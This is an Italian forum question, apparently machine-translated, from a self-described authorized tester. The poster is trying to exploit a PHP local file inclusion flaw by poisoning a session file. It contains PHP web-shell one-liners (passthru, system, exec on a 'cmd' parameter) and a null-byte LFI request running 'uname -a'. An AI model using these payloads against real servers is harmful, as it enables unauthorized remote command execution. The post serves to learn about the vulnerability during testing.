In primo luogo, faccio il disclaimer obbligatorio che tutto ciò che faccio qui è legittimo e pre-autorizzato, ecc. ecc.
Per chi non ha familiarità con l'inclusione del file locale della sessione utente in PHP, c'è un buon esempio qui nella sezione 2.2.4: link
Sto verificando un servizio Web che soffre di una vulnerabilità LFI che può essere sfruttata solo tramite un file di sessione incluso (non ho diritti di lettura / proc / auto / dintorni, log di accesso / errore di Apache, ecc.). Il contenuto del file di sessione originale assomiglia a questo (modificato dall'originale per la segretezza):
user|s:5:"user1";pass|s:4:"pass";sig|s:1:"0";
Posso modificare il parametro sig utilizzando un proxy per intercettare il traffico Web. Ad esempio, cambiando sig = 0 in sig = ciao, vedo:
user|s:5:"user1";pass|s:4:"pass";sig|s:5:"hello";
Finora, tutto bene. Il problema si presenta quando provo a inserire codice PHP invece di una stringa di testo. Usando uno qualsiasi dei codici seguenti, vedo lo stesso risultato:
<?php passthru($_GET['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php exec($_GET['cmd']); ?>
Il file di sessione registra correttamente le lunghezze della stringa di codice, ma i contenuti apparentemente sono filtrati.
user|s:5:"user1";pass|s:4:"pass";sig|s:28:"";
In ogni caso, non riesco a far funzionare il mio codice PHP, poiché non restituisce nulla.
session=/tmp/sess_3ksjdx983klsjg1nsljd92lzs%00&cmd=uname -a
Mi sento come se mi mancasse qualcosa di abbastanza semplice, ma non ho molta esperienza con PHP; quindi, apprezzerei molto tutte le idee.